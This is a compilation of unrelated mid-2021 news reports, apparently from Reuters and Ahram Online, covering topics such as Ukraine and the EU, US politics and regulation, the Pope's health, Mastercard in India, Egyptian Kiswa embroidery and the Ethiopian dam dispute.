According to the head of the President's Office, Germany also raised issues of threats to Ukraine due to the concentration of Russian troops near its borders, the implementation of key reforms in Ukraine, the attraction of European investors to Ukraine and the development of "green energy" in Ukraine.
The European Council confirms that the ambassadors of the EU member states have decided to recommend including Ukraine in the list of countries for which restrictive measures imposed on travel to the EU due to coronavirus (COVID-19) pandemic can be lifted.

The press service of the European institution said it confirms that the relevant decision was made today by the ambassadors. Further, by the end of the week, it will be formalized in a written procedure.

The list of countries for which it is recommended to be allowed to travel to the EU is reviewed every two weeks and updated as the case may be. Previously, Armenia, Moldova and Azerbaijan were included in it.
G7 Ambassadors welcome adoption by Rada of law on Ukroboronprom's transformation

G7 Ambassadors welcome the adoption by the Verkhovna Rada of a law on the specifics of reforming state-owned enterprises of the defence industrial complex.

"G7 Ambassadors welcome Verkhovna Rada's adoption of law No. 3822 on reform of the defence industrial complex. The law provides a positive basis for corporatisation of Ukroboronprom and improving corporate governance standards across the sector, in line with OECD guidelines," G7 Ambassadors said on Twitter.

Thus, ambassadors now encourage swift and thorough implementation to minimise corruption risks.

"Properly embedded, these reforms will enhance the global competitiveness of Ukraine's defence industry and further ensure the country's security," ambassadors said.

As reported, on July 13, the Verkhovna Rada adopted the law on the specifics of reforming state-owned enterprises of the defence industrial complex. The adoption of bill No. 3822 at the second reading and in general was supported by 256 MPs at a plenary session on Tuesday.
Sacha Baron Cohen arrives to attend a screening of the Oscars, in Sydney, Australia (Photo : Rick Rycroft/Pool via REUTERS/File Photo)

Sacha Baron Cohen on Tuesday won the dismissal of a $95 million defamation lawsuit by Roy Moore, a former U.S. Senate candidate from Alabama, who claimed he was duped into appearing on the Showtime series "Who Is America?" and portrayed falsely as a sex offender.



U.S. District Judge John Cronan in Manhattan said the consent agreement Moore signed to be interviewed on the show barred him from suing the British comedian, Showtime and its parent ViacomCBS Inc, including for intentional infliction of emotional distress and fraud.



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Moore and his wife Kayla, who was also a plaintiff, quickly appealed the decision. Lawyers for the defendants did not immediately respond to requests for comment.



The lawsuit arose from a July 2018 broadcast where Baron Cohen, disguised as fictional Israeli anti-terrorism expert Erran Morad, demonstrated a supposed "pedophile detector" that when waved near Moore beeped.



Moore, 74, said he attended the Washington, D.C. interview believing he would receive an award for supporting Israel.



In his 26-page decision, Cronan called the segment "clearly a joke" and said no reasonable viewer would see it differently.



"It is simply inconceivable that the program's audience would have found a segment with Judge Moore activating a supposed pedophile-detecting wand to be grounded in any factual basis," Cronan wrote.



Moore, a Republican and former chief justice of Alabama's Supreme Court, had sought to disqualify Cronan for alleged bias in opposing his political and religious beliefs.

"Judge Cronan's ruling makes no factual and legal sense," Larry Klayman, a conservative lawyer representing the Moores, said in a statement. "To the contrary, Judge Cronan's dismissal is the joke, and more than a bad joke at that."


U.S. Vice President Kamala Harris speaks before her departure at Detroit Metropolitan Wayne County Airport in Romulus, Michigan, U.S., after attending a vaccine mobilization event, (Photo : REUTERS/Rebecca Cook/File Photo)

U.S. Vice President Kamala Harris said on Tuesday the Democratic lawmakers from Texas who left the state to derail Republican efforts to pass new voting restrictions have shown "great courage" and that she is working with people in the private sector to build a coalition to work on voting rights.



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More than 50 Democratic lawmakers left Texas on Monday, denying the state legislature the quorum required to approve the measures on Republican Governor Greg Abbott's special session agenda.



"I think they have shown great courage, and certainly great conviction and commitment," Harris said in an interview with Reuters.



A White House official said separately Harris will meet the Texas Democrats this week.



White House and civil rights groups say the Republican-led efforts would make it harder to vote for many Black and Hispanic citizens, traditional supporters of Democrats. The state restrictions followed former President Donald Trump's false claim that voting fraud was widespread in the 2020 election that he lost to President Joe Biden, a Democrat.



Biden has a scheduled speech on voting rights in Philadelphia on Tuesday. U.S. civil rights groups have pressured him to issue a strong appeal for congressional passage of voting rights legislation stalled by Republican opposition.



Harris said her work to fight voting restrictions adopts a multi-pronged approach focused on the need to register people to vote, educate them about voting rights and protect voters. She did not name any specific companies in the private sector who had joined her coalition.



Last week, Harris said the Democratic National Committee would spend $25 million on voter registration, outreach and protections ahead of the 2022 midterm election.



Asked if the amount was too little to make a material difference, Harris said "let's do $25 million at a time" and said Democrats will deploy "every form of resource" into the issue.



Democrats worry that failing to act will empower states led by Republicans to impose more restrictions before the 2024 presidential election. Biden and Harris outpolled Trump by 7 million votes nationwide but won by narrow margins in several so-called "swing" states that ensured their victory in the electoral college.



Harris said she has convened meetings with leaders in states such as Pennsylvania, Michigan, Georgia and South Carolina, and will also host leaders representing Americans with disabilities - a group likely to suffer from voting restrictions.



Last month, Biden appointed Harris to lead his administration's fight against Republican efforts to enact voting restrictions. Over 15 U.S. states have enacted at least 22 laws this year making it more difficult for Americans to vote, according to a report by the Brennan Center for Justice.



A recent U.S. Supreme Court ruling also weakened a provision of the 1965 Voting Rights Act. This could make it much harder for Democrats to prevail in lawsuits against states, such as Georgia, that passed voting restrictions.


Turkish President Recep Tayyip Erdogan and China's President Xi Jinping attend a welcome ceremony at the Great Hall of the People in Beijing, China (Photo : Roman Pilipey/Pool via REUTERS)

Turkish President Tayyip Erdogan told his Chinese counterpart Xi Jinping on Tuesday it was important to Turkey that Uyghur Muslims live in peace as "equal citizens of China" but said Turkey respects China's national sovereignty.



Erdogan made the comments during a phone call with Xi in which the two leaders discussed bilateral and regional issues, according to a statement from the Turkish presidency.



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U.N. experts and rights groups estimate over a million people, mainly from the Turkic language-speaking Uyghur and other Muslim minorities, have been detained in recent years in a vast system of camps in China's western Xinjiang region.



China initially denied the camps existed, but has since said they are vocational centres and are designed to combat extremism. It denies all accusations of abuse.



"Erdogan pointed out that it was important for Turkey that Uyghur Turks live in prosperity and peace as equal citizens of China. He voiced Turkey's respect for China's sovereignty and territorial integrity," the Turkish presidency statement said.



Erdogan told Xi that there was high potential for commercial and diplomatic ties between Turkey and China and the two leaders discussed areas including energy, trade, transportation and health, according to the statement.



Some of the 40,000 Uyghurs living in Turkey have criticised Ankara's approach to China after the two nations agreed an extradition treaty last year. Turkey's foreign minister said in March the deal was similar to those Turkey has with other states and denied it would lead to Uyghurs being sent back to China.



Hundreds of Uyghurs protested against the treatment of their ethnic kin in China during a visit by Chinese Foreign Minister Wang Yi to Ankara in March.



Some Turkish opposition leaders have accused Turkey's government of overlooking Uyghur rights in favour of other interests with China, which the government denies.



In April, Turkey summoned China's ambassador after his embassy said it had the right to respond to Turkish opposition leaders who criticised China's treatment of Uyghurs.


Pope Francis to leave hospital as soon as possible, no longer in wheelchair

Pope Francis visits the children's cancer ward at the Gemelli hospital, in Rome, Italy (Photo : THIS IMAGE WAS PROVIDED BY A THIRD PARTY.)

Pope Francis is continuing his planned treatment and rehabilitation after intestinal surgery 10 days ago and will leave hospital as soon as possible, the Vatican said on Tuesday.



The Vatican's daily medical bulletin on the 84-year-old pope, who had part of his colon removed on July 4, also said he had met many patients during his stay at the Gemelli hospital but felt particularly close to "those who are bedridden and cannot return home".



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It gave no further details on the pope's condition.



On Tuesday afternoon, the Vatican released five pictures of the pope during a visit earlier in the day to the children's cancer ward on the same floor as his suite.



They showed the pope seeming in good condition as he walked unassisted along the corridor of the ward, greeting children, parents and doctors. In pictures released two days ago, he was using a wheelchair when he visited patients.



The Vatican had said on Monday that he would stay in hospital a few days longer than the seven originally expected to "optimise his medical and rehabilitative therapy".



On Sunday he made his first public appearance since the surgery, standing for about 10 minutes while speaking from the balcony of his suite.



He has no commitments for the rest of the month apart from his Sunday blessing, though the Vatican is proceeding with plans for a papal trip to Slovakia and the Hungarian capital of Budapest in mid-September.



Scotland's bishops on Monday announced that the pope will attend the United Nations Climate Change Conference (COP26) in Glasgow in November, health permitting.


Exclusive: U.S. SEC focuses on bank fee conflicts as it steps-up SPAC inquiry -sources

People exit the headquarters of the U.S. Securities and Exchange Commission (SEC) in Washington, D.C., U.S. (Photo : REUTERS/Andrew Kelly/File Photo)

The U.S. securities regulator has ramped-up its inquiry on Wall Street's blank check acquisition frenzy, homing in on potential conflicts of interest created when banks act as underwriters and advisers on the same deal, three people with direct knowledge of the matter told Reuters.



The Securities and Exchange Commission is exploring whether certain fee structures may incentivise underwriters on special purpose acquisition company, or SPAC, listings to secure unsuitable deals when also advising on the later stage merger, potentially putting investors at risk, the people said.



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Banks that have received SEC requests for information include top SPAC underwriters Citigroup, Credit Suisse Group<CSGN.S>, Morgan Stanley and Goldman Sachs, they said.



Spokespeople for the banks declined to comment.



SPACs are listed shell companies used to take private companies public, sidestepping the more traditional and lengthy initial public offering (IPO) process.



Reuters reported in March that the SEC's enforcement division had opened an inquiry on Wall Street banks' SPAC dealings, sending letters to several institutions seeking information on deal risks and internal controls.



Since March, the SEC has focused its inquiry on a group of banks, law firms and SPAC sponsors involved in troubled deals and has sought more information about the deals and interviewed executives concerned, according to two of the three sources.



The SEC is particularly interested in the fees banks have earned when playing several roles on a deal, all three sources said. They declined to say which deals were under scrutiny.



"The big issue for the SEC is to understand if the advisers are conflicted," said one of the people.



A spokesperson for the SEC did not respond to requests for comment.



SPAC sponsors typically pay banks a 5.5% fee for underwriting the IPO, part of which is paid up front, with the rest paid upon completion of the merger.



Underwriting banks can earn more fees if they also go on to represent the merger target and help the SPAC sponsor raise additional cash from private investors to finance the takeover.



The SEC is examining potential conflicts in such situations when a bank works for both sides of the transaction and stands to earn a chunk of fees when the merger goes through.



Critics say such arrangements could incentivise banks to talk up targets or play down potential problems, which could harm investors if the target company's earnings underperform, or other regulatory or legal issues emerge following the merger.



SPAC returns have trailed the S&P 500 and some SPACs have been accused by shareholders and government investigators of misleading disclosures..



The sources declined to be named because the discussions are private. Regulatory requests for information do not necessarily imply wrongdoing.



EXTRA DILIGENCE



Under the rules, lawyers and accountants are required to disclose their fees in the SPAC's regulatory filings, but banks are not. In its recent inquiries, the SEC has asked banks for more information on their payouts, the three sources said.



The SEC has also asked the banks for information on the due diligence they performed on SPAC mergers, including when reviewing revenue growth projections and other disclosures made by the target companies, one of the sources said.



The increased scrutiny has prompted some banks to review their processes and increase due diligence, the third source said, adding that some banks and sponsors were also more frequently separating the underwriting and advisory roles.



SPACs have existed for decades, but over the past 18 months the deal structure has been popularized by high-profile sponsors and boosted by easy monetary conditions.



A record nearly $100 billion was raised by U.S. SPACs in the first quarter of 2021, according to Dealogic, before dealmaking flagged amid market saturation and heightened SEC scrutiny.


The 74th Cannes Film Festival - Photocall for the film "The French Dispatch" in competition - Cannes, France, (Photo : REUTERS/Johanna Geron)

Wes Anderson brings together a star-studded cast for his love letter to journalism "The French Dispatch", a series of vignettes set in the fictional French town of Ennui-sur-Blase - where life is anything but boring.



Bill Murray, Tilda Swinton, Owen Wilson, Benicio del Toro, Adrien Brody and Timothee Chalamet are some of the big names in the movie that premiered and received a standing ovation at the Cannes Film Festival.



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The movie follows an oddball crew of journalists working for the outpost of a Kansas newspaper, who sketch out the fantastic tales they have come across - from the murderous painter who becomes a reference of modern art from the confines of his prison, to the heady milieu of May 1968-style student protests.



Interspersed with cartoon sequences and teaming with characters and offbeat story lines, "The French Dispatch" also offers a look at France - depicting police using tear gas to mopey intellectual students.



With references to The New Yorker magazine, Oscar winner Brody said the film was "a love for correspondence and literature and appreciation of culture".



"It's also a reminder of the dignity of true journalism, because that's a real thing," Swinton, who steals the screen as the newspaper's art specialist, told Reuters.



"And I think it's possible for people to either have forgotten that or pretend they never knew that, to know that journalism is an incredibly dignified and important cultural endeavour and we really rely on it."



Like Murray, Swinton is a regular in Anderson movies, including "The Grand Budapest Hotel" and "Moonrise Kingdom".



"(Anderson) doesn't even ask. He just sort of tells you where and when ... and that's it and if you've got half a brain cell, you say OK ... I don't ever read the thing (script)," Swinton said on working with the American filmmaker.



"It's not important to finish reading it or to study it. You just look at it (and think) 'OK, I guess that's it'," Murray added.



Meant to premiere at Cannes last year, the comedy-drama, praised by critics, is among the movies vying for the festival top prize, the Palme d'Or.



"Most of us saw it two years ago, but on a smaller screen," Swinton said. "But to see it ... on that screen last night and to get the response that we got ... it's like carrying a big bag and we've been able to put it down now."


Cannabis stickers on a Weed World store window are pictured the day New York State legalized recreational marijuana use amid the coronavirus disease (COVID-19) pandemic (Photo : REUTERS/Carlo Allegri/File Photo)

Three top U.S. Democratic senators on Wednesday unveiled a discussion draft of a bill that aims to legalize cannabis, a move that would allow adult Americans to buy and possess up to 10 ounces of marijuana without facing criminal penalties.



The Cannabis Administration and Opportunity Act floated by Senate majority leader Chuck Schumer, Finance Chairman Ron Wyden and New Jersey Senator Cory Booker, would expunge federal non-violent marijuana crimes, further medical research and allow cannabis companies access to essential financial services.



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While adult use of cannabis is legal in 18 states, and allowed medically in 37 states, it remains illegal under U.S. federal law, deterring banks and others from dealing with companies that sell marijuana or related products.



The draft set the minimum age required to buy cannabis at 21 and limited retail sales transactions at the state level to 10 ounces of cannabis at a time or the equivalent amount of any cannabis derivative.



The draft also states that a new definition of cannabis would be established and proposes moving cannabis oversight to the Food and Drug Administration and regulators that overlook alcohol and tobacco, away from the Drug Enforcement Administration.



States will control the possession, production, or distribution of cannabis, the draft says, while shipping marijuana into states that have not legalized it will be prohibited. However, such states can not stop shipments going to other legalized regions through their borders.



Senator Chuck Grassley, the top Republican on the Judiciary Committee, said "This new bill puts the cart before the horse." He added that marijuana use needs more research.



A final legislative draft will be introduced later and feedback on the discussion draft can be provided until Sept. 1.



To become a law, the measure will have to pass both the Democratic-controlled Senate and House of Representatives and be signed by President Joe Biden.



"It is hard to see how this can pass, but nonetheless it is positive to see progress and momentum," said Greg Heyman, founder of cannabis investment firm Beehouse Partners.



A major cannabis banking reform bill that was approved by the U.S. House of Representatives in April has failed to make any progress in the Senate.



"Our main concern over this current legislation (Cannabis Administration and Opportunity Act) is around the ability to get it passed in the Senate," private equity firm Poseidon Managing Director Michael Boniello said, adding it may hinder other federal cannabis reforms, including the banking act, from being passed in 2021.


U.S. Justice watchdog to release report into FBI probe of ex-USA Gymnastics doctor

Larry Nassar, a former team USA Gymnastics doctor who pleaded guilty in November 2017 to sexual assault charges, stands in court during his sentencing hearing in the Eaton County Court in Charlotte, (Photo : REUTERS/Rebecca Cook/File Photo)

The U.S. Justice Department's internal watchdog on Wednesday is expected to release a long-awaited report examining why the FBI delayed pursuing a probe into sexual abuse allegations it received in 2015 against former USA Gymnastics doctor Larry Nassar, a source told Reuters.



Reuters could not immediately learn what Inspector General Michael Horowitz's report will say but the office is set to brief Senators Jerry Moran and Richard Blumenthal on the report.



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Moran and Blumenthal released a 2019 report that found numerous officials including the FBI "sat on evidence of his sexual misconduct for over a year-allowing for the additional sexual abuse of dozens of other girls."



A separate U.S. House panel report also highlighted the length of time it took and how the FBI conducted its Nassar investigation.



Nassar was sentenced in federal court in 2017 to 60 years in prison on charges of possessing child sex abuse material.



The following year, he was also sentenced up to 175 years and up to 125 years, respectively, in two separate Michigan courts for molesting young female gymnasts under his care including Olympic gold medalists Aly Raisman and McKayla Maroney.



The inspector general's investigation was launched in 2018 amid concerns that the FBI dragged its feet in opening a sexual abuse probe into Nassar despite receiving multiple complaints about him.


Mastercard Inc. credit cards are displayed in this picture illustration taken (Photo : REUTERS/Benoit Tessier/Illustration)

The Reserve Bank of India (RBI) on Wednesday indefinitely barred Mastercard Inc from issuing new debit or credit cards to domestic customers for violating data storage rules, dealing a blow to the U.S. company in a key market.



In a notification, the RBI said Mastercard had not complied with data storage rules from 2018 that require foreign card networks to store Indian payments data "only in India" so the regulator can have "unfettered supervisory access".



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"Notwithstanding lapse of considerable time and adequate opportunities being given, the entity (Mastercard) has been found to be non-compliant with the directions," the RBI said.



Mastercard said it was "disappointed" with the RBI's decision and that it had provided regular updates on its compliance with the rules since 2018.



"We will continue to work with them to provide any additional details required to resolve their concerns," it said in a statement late Wednesday.



The ban takes effect on July 22.



The move comes less than three months after India's central bank barred American Express and Diners Club International, owned by Discover Financial Services, from issuing new cards due to similar violations.



But unlike American Express, which is a relatively small player in India, companies such as Mastercard and Visa have partnered with many Indian banks that offer cards using the U.S. firms' payments network.



In 2019, Mastercard said it was "bullish on India", announcing $1 billion in investment over the next five years, in addition to its earlier investment of $1 billion from 2014-2019.



"It does leave a big vacuum in credit cards and can come as a good opportunity for Visa ... Banks will have to start re-negotiating the deals and this will be a blow for Mastercard," said Ashvin Parekh, an independent financial services consultant.



The RBI's decision will not impact existing customers of Mastercard, and the company should advise all card issuing banks in India to comply with the order, the RBI added.



The RBI directive in 2018 sparked an aggressive lobbying effort from U.S. companies, which said the rules would increase their infrastructure costs and hit their global fraud detection platforms, but the central bank did not relent.



The order comes as companies such as Mastercard and Visa also face growing competition from domestic payments network Rupay, which has been promoted by Prime Minister Narendra Modi.



In 2018, Mastercard told the U.S. government that New Delhi's protectionist policies were hurting foreign payment companies, Reuters has previously reported.


In the heart of Cairos oldest market place, lies the workshop that has adorned the holy Kaba with its hand woven stitches for decades. Elegant calligraphy serma tableaus covers the entrance and walls of the small workshop. Shawqi Al-Qasabgi, reads the old sign that summarises about 100 years of hand weaving the Kiswa (Holy Kabas cover).

Last Friday, the To The Workshop Initiative resumed its local tours that uncovers gems and human treasures in Egypt. Founded by specialist in intangible heritage Mostapha Kamel in 2015, the initiative aims to document and safeguard handicrafts in Egypt, as well as introducing such rich elements of intangible heritage to new generations. After being on hold for a long while due to COVID 19, the initiative restarted its activities by visiting the old workshop during the Hajj season.

Al-Qasab hand weaving style

I am the grandson of Othman Abdel Hamid, who was the head of Dar Al-Kiswa in Egypt (1923-1926) and we are honoured to say that for three successive years, we were the ones to hand weave it, explained Ahmed Shawqi Al-Qasabgy to Ahram Online.

Being among the masters of the trade, Ahmed Al-Qasabgys family name is related to the hand weaving of Qasab string, which is a very tough string made of 22 threads. The Qasab weaving is a very famous Egyptian embroidery that has adorned the holy Shrine for centuries. With its shades of bright yellow and white, the Egyptian hand made calligraphy of Quran verses gracefully crowned the four corners of the Kiswa.

The makers of Kiswa were ten of Egypts finest embroiderers. They would spend one year making it. Sitting in two groups of five opposite to each other, they used to perform ablution, then rinse their hands with rose water. They would recite the Fatha and start off using the Qasab string, which was made of silver, plated with gold. They would cover their fingers with leather to avoid pricking them with the needle, remembered Al-Qasabgy.

Al-Qasab style, also known as serma, was not limited to Kiswa making. It decorated the front area of the royal Khedive and kings jackets with their golden colours. My grandfather was also in-charge of hand weaving military badges and that of the Egyptian king. We would hand weave the royal suits of the king with the crest and sashes, Al-Qasabgy explained.

The Kiswa stopped being made in Egypt during the Nasser era, for political reasons. And after the assassination attempt on the late-President Hosni Mubarak, the Egyptian government stopped ordering handmade military badges, added Al-Qasabgy. Since then the family business expanded the scope of the art of Qasab to include canvas, clothes, curtains, fabric for upholstery, and even wedding dresses.

In this workshop we hand wove the 11 meter long wedding veil of Princess Diana, he told Ahram Online. And we also decorated the crib of Princess Alia, the military uniform of Sadat (late Egyptian president), Sudanese, Kuwaiti and Yemeni military uniforms to name but a few. Al-Qasabgy added.

From Cairo to Mecca with love

Kiswa has been made in Egypt for centuries. According to the book titled Kiswa of Kaba and The Arts of Hajj, by Ibrahim Helmy, the first account of Kiswa was documented in the year 159 Hejra in the book titled Akhbar Macca (Mecca News), where the author Al-Fakehi stated that the he had seen the Kiswa made of Al-Kabati fabric of Egypt. That Kiswa had been made in Egypt since the time of Prophet Mohamed until the end of the Fatimid reign.

The fabric of Kiswa itself was made of pure silk, black in colour with same colour prints of religious quotes such as: Ya Hannan Ya Mannan (O you the source of kindness and that who provides for us), Subhan Allah wa behamdihi, sub7an allah al azim, Al Hafiz, Subhan Allah Al Azim (Praise Allah the great), La Ilah Ella Allah Muhamed Rasoul Allah (There is no god but Allah, and Muhammed is the Prophet of Allah) then the name god. Such quotes are scattered along the fabric, Al-Qasaby explains.

The annual ceremony of sending the Kiswa to Mecca was a grand procession, with khayamia decorated camels, members of sufi orders and the Walli himself in the lead until they bid them farewell at the Bab Al-Wadaa (The Gate of Farewell). In addition, Egypt also has a long tradition of artistic hajj rituals that includes, hajj songs and hajj graffiti.

All the colours of Kiswa

Though black in colour for decades, the Kiswa was not always black, noted Al-Qasaby. During the Mamluk era, till the Othman era, the Kiswa was dark red, white, yellow and green. After the arrival of a new Kiswa, the old one is usually kept inside the Kaba. Saudi Arabia used to hand out pieces of the old Kiswa as royal gifts for high profile people.

Even the key to the door to kaba is kept in a handmade cover.

Written by Helmy

The embroidery of calligraphy is no easy task. It required experienced artistic hands of calligraphers who would draw the design in Tholous Tarkeeb Arabic style, which is usually used in Kiswa embroidery, noted Al-Qasaby.

Among the oldest Egyptian calligraphers of Kiswa was Abdalla beih Zohny and Hajj Refaie (around 1340 hijra) as well as Saudi calligraphers Helmy (1365 hijri) and Salem Bagnid (1430 hijri). Helmy used to sign his works with the phrase : Written By Helmy, he noted.

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Egypt's Health Minister Hala Zayed has thanked Slovenia for donating to Egypt 250,000 doses of Oxford AstraZeneca COVID-19 vaccine through COVAX, the health ministry said.

Zayed met Slovenias ambassador in Cairo Mateja Prevolsek at the health ministry on Tuesday, and they discussed ways to boost medical and health cooperation between Egypt and Slovenia, the ministry said in a statement.

Slovenia announced that it would donate 250,000 doses of AstraZeneca to Egypt along with 500,000 euros to the global COVAX initiative.

The Slovenian government said the donation to Egypt is part of tripartite agreement between Slovenia, Egypt and AstraZeneca.

Slovenian News website reported the decision was in the best interest of Slovenia because it was better to have as many people vaccinated as possible outside the country to reach higher collective immunity, especially in countries where Slovenians travel to a lot as tourists or on business, such as Egypt.

According to statements by health officials, more than 3 million people have been vaccinated in Egypt.

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The UN Security Council (UNSC) meeting that convened on 8 July failed to adopt the draft resolution that Tunisia had tabled on behalf of Egypt and Sudan. The draft called on Ethiopia to negotiate in good faith with the two downstream countries, and set a timetable of six months for reaching an agreement, under the umbrella of the African Union, on the filling and operation of the Grand Ethiopian Renaissance Dam (GERD).A few days ahead of the UNSC meeting Ethiopia began the second filling of the dams reservoir in the absence of an agreement. Cairo and Khartoum are now telling concerned world capitals that this is the last filling Ethiopia can get away with in the absence of a legally binding agreement.In meetings with European Union (EU) officials this week, and with UN Security Council officials last week, Foreign Minister Sameh Shoukri urged international bodies to live up to their responsibilities and send clear messages to Addis Ababa that it must end its refusal to negotiate seriously. Informed diplomatic sources said that in Brussels Shoukri made it clear to his European interlocutors that Egypt cannot be expected to continue to accommodate Ethiopias intransigence.It was not for nothing that the foreign minister stressed in his speech before the UNSC that GERD represents an existential threat to Egypt in the absence of an agreement on its filling and operation, said a diplomatic source.He added that Shoukri was very clear that when the push comes to shove Egypt will do what it takes to defend itself. I think the message is clear we have been far too patient to be blamed by anyone for taking action to defend our own survival, he added.Egyptian diplomacy is adopting parallel approaches in its attempts to resolve the GERD issue, says Ayman Abdel-Wahab, a senior analyst at Al-Ahram Centre for Political and Strategic Studies, one of which is to mobilise international public opinion by highlighting the repercussions of Ethiopias refusal to reach a legally-binding agreement.On Monday, after concluding a series of meetings with EU officials in Brussels, and with the President of the European Council Charles Michel and Secretary-General of NATO Jens Stoltenberg, Shoukri hinted the EU may soon make clear its unhappiness with Ethiopias unilateral moves over the dam.In his statement before the UNSC, Shoukri had already commended the EU for its statement, issued hours before the UNSC meeting, expressing concern over Ethiopias unilateral decision to start the second filling in the absence of an agreement. Shourki called on the UNSC to take a similar position.The foreign ministers of Egypt and Sudan both held consultations ahead, and after, the UNSC meeting. While Shourki left New York for Brussels, his Sudanese counterpart Mariam Sadik Al-Mahdi travelled to Moscow to lobby for support from Russia which is about to sign a major military deal with Ethiopia.In Brussels, Shoukri stressed the need for a clear roadmap and timeline for Ethiopia, Sudan, and Egypt to reach a legally-binding agreement on the dam.During his meeting with Michel, Shoukri conveyed a message from President Abdel-Fattah Al-Sisi, and stressed that Cairo would like to see the EU, UN, and US involved in future negotiations over GERD. Khartoum has long been pushing for a proposal to the same effect  that the UN, EU, and US play a part in talks alongside the African Union  only for Ethiopia to reject it out of hand.Concerned Egyptian diplomats say that while last weeks meeting of the UNSC saw a consensus among members on the need for the three riparian countries to reach an agreement through AU-led negotiations, it failed to draw a roadmap on how to get there.In the press conference that followed the session, Shoukri told the media that the next step is in the hands of the UNSC and its members who must assume their responsibilities under the UN charter and work to resolve the dispute peacefully.The unilateralism displayed by Ethiopia threatens the water security of Egypt and Sudan and the livelihood of 150 million people Ethiopia has yet to demonstrate the political will needed to reach an agreement, and this has been the main obstacle to resolving the dispute despite the flexibility and moderation that Egypt and Sudan have shown, he told the press conference.Abbas Sharaki, a professor of geology and water resources at Cairo University, says it is only sensible for Egypt to give the UNSC a chance to take a clear position on the way forward. According to Sharaki, should the UNSC fail to take a clear position on GERD it will be up to Cairo and Khartoum to decide their next step, which could include legal action over the building of the dam, the way it is being built, and its location.According to Abdel-Wahab, should diplomatic lobbying fail to get the world to pressure Ethiopia into changing its position, then it will be up to Cairo and Khartoum to underline to international players the danger this poses to peace and security in the Horn of Africa.He argues that a cooperative approach with Addis Ababa and other countries can go hand-in-hand with a tougher approach that reminds all concerned parties of the high cost of water as a weapon against Egypt.Abdel-Wahab is also under no illusions about the tough stand Egypt and Sudan will have to take even if an agreement is reached given there is nothing to guarantee that Ethiopia will stick to any agreement, or will not use the water weapon against Egypt in the future.Ethiopia started building the mega dam in 2011. Last year, it unilaterally executed a first 5 bcm filling of the dams reservoir. On 5 July it started a second filling, initially planned to trap 13.5 bcm of water. Construction delays, however, mean the second filling is unlikely to reach more than 9 bcm.

*A version of this article appears in print in the 15 July, 2021 edition of Al-Ahram Weekly.

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Egypt, Sudan, and Ethiopia should agree on a time frame to reach a deal

on the Grand Ethiopian Renaissance Dam (GERD),

Regional Spokesman for the US State Department Samuel Werberg said.

During a phone-in with Sada El-Balad satellite channel on Tuesday night, Werberg pointed out that the three parties should avoid taking unilateral measures until they reach an agreement on GERD.

Throughout the decade-long negotiations over GERD, the two downstream countries Egypt and Sudan have been seeking a legally binding deal on the filling and operation of the GERD to no avail due to Ethiopias intransigence.

Ethiopia has been evading a legal deal, preferring instead a set of guidelines that can be modified any time at its discretion. It has also opposed international mediation, led by the African Union (AU) and including the US, EU, and UN, which was proposed by the two downstream countries to facilitate negotiations and bring the views closer.

Werberg indicated that the US recognises the importance of the Nile water for Egypt and Sudan, stressing it is necessary for the three countries to reach a deal. He added that the UN Security Council believes that the AU is the most appropriate entity to deal with the dam crisis.

The two downstream countries have expressed concerns about their water rights and peoples lives, especially in times of drought, in case the GERD was filled without a binding deal, and have earlier accused Addis Ababa of attempting to prolong the negotiations to impose a fait accompli.

Egypt, which relies on the worlds longest River Nile for more than 95 percent of its renewable water resources, fears that the unilateral filling and operation of the massive hydropower project will significantly diminish its water supply, which at 560 m3 per person annually is already well below the international threshold for water scarcity.

Unlike Ethiopia, whose annual floods is estimated around 900 billion cubic metres (bcm) and has around nine major rivers, Egypt is considered one of the most water-scarce countries in the world, as it receives around 60 bcm annually  mainly from the River Nile  though its needs stand at around 114 bcm.

The US is ready to provide assistance in order to restore the course of negotiations, and supports the continuation of [GERD] negotiations between the three countries to resolve the crisis, Werberg said, adding that the US will engage in dialogue with the three countries to resume negotiations.

The year-long rounds of AU-sponsored GERD negotiations to reach an agreement have failed. The latest $4.8 billion Ethiopian hydropower projects session of talks  which was sponsored by the AU and aimed to revive the already stalled negotiations since January  was held in the AUs chair country, the DR Congo, in April but failed to stir the stagnant water.

A week ago, the UN Security Council held a session on the GERD at the request of Egypt and Sudan in an attempt to settle the dispute over the near-complete dam that Ethiopia has been building since 2011 on the Blue Nile.

Three days before the session, Ethiopia had already commenced its second-year filling of the GERD, which both downstream countries condemned, with Cairo describing it as a "blatant and dangerous" violation of international laws as well as the Declaration of Principles signed in 2015.

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President Abdel-Fattah El-Sisi affirmed on Wednesday Egypts full support for the political path of Lebanese Prime Minister Designate Saad Al-Hariri to restore stability in Lebanon and deal with the current challenges.

El-Sisis remarks came during his meeting with Hariri, which witnessed the attendance of Foreign Minister Sameh Shoukry and head of Egypt's General Intelligence Service (GIS) Abbas Kamel, a statement by the presidency said.

Presidential Spokesperson Bassam Rady stated that El-Sisi also expressed Egypts support for Al-Hariris efforts to form a government, highlighting the importance of the concerted efforts of all to settle any differences in this context to get Lebanon out of the situation it is currently suffering from by upholding Lebanons national interest.

This, Rady adds, aims to help preserve the capabilities of the brotherly Lebanese people and their unity.

From his side, Al-Hariri hailed Egypt's tireless and sincere efforts to mobilise international support for Lebanon at various levels in light of the continuing difficult challenges facing the Lebanese people, especially at the political and economic levels, the presidential statement said.

Al-Hariri moreover expressed his peoples appreciation for the strong historical relations between the two brotherly countries, which are based on foundations of solidarity and brotherhood, and also for Egypts vital role in maintaining stability in Lebanon and the Arab region as a whole, the statement said.

Rady pointed out that both parties reviewed during their meeting the Lebanese political scene, in addition to means of strengthening the existing bilateral cooperation frameworks between the two brotherly countries, as well as discussing the most prominent regional developments.

Earlier in the day, according to a separate statement by the foreign ministry, Shoukry received Al-Hariri at the Tahrir Palace and emphasised Egypt's support for brotherly Lebanon, stressing the need for all Lebanese parties to give priority to the supreme interest of Lebanon, free of any narrow interests.

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Egypts President Abdel-Fattah El-Sisi hailed on Wednesday the US Apache Corporation's recent deal with the petroleum ministry to expand its activities in the fields of oil exploration and production in the local market.

This came during El-Sisi's meeting with Board Chairman of Apache Corporation John Christmann along with Minister of Petroleum and Mineral Resources Tarek El-Molla, a statement by the Egyptian presidency read.

The expansion of Apaches activities will enhance Egypts endeavours to become a regional hub for trade in energy, El-Sisi said.

The Egyptian president instructed continued coordination and to facilitate the work of the American company.

El-Sisi stressed the distinguished cooperation and partnership between Egypt, the US, and its companies.

Presidential Spokesman Bassam Rady stated that El-Sisi affirmed Egypt's support for the development of mutual cooperation between the two sides, given the long history of the company and its activities in Egypt as well as its valued societal role in Egypt.

El-Sisi highlighted the collaboration strategy and partnership relations between Egypt and all American companies within the framework of the distinguished relations between the two countries, Rady said.

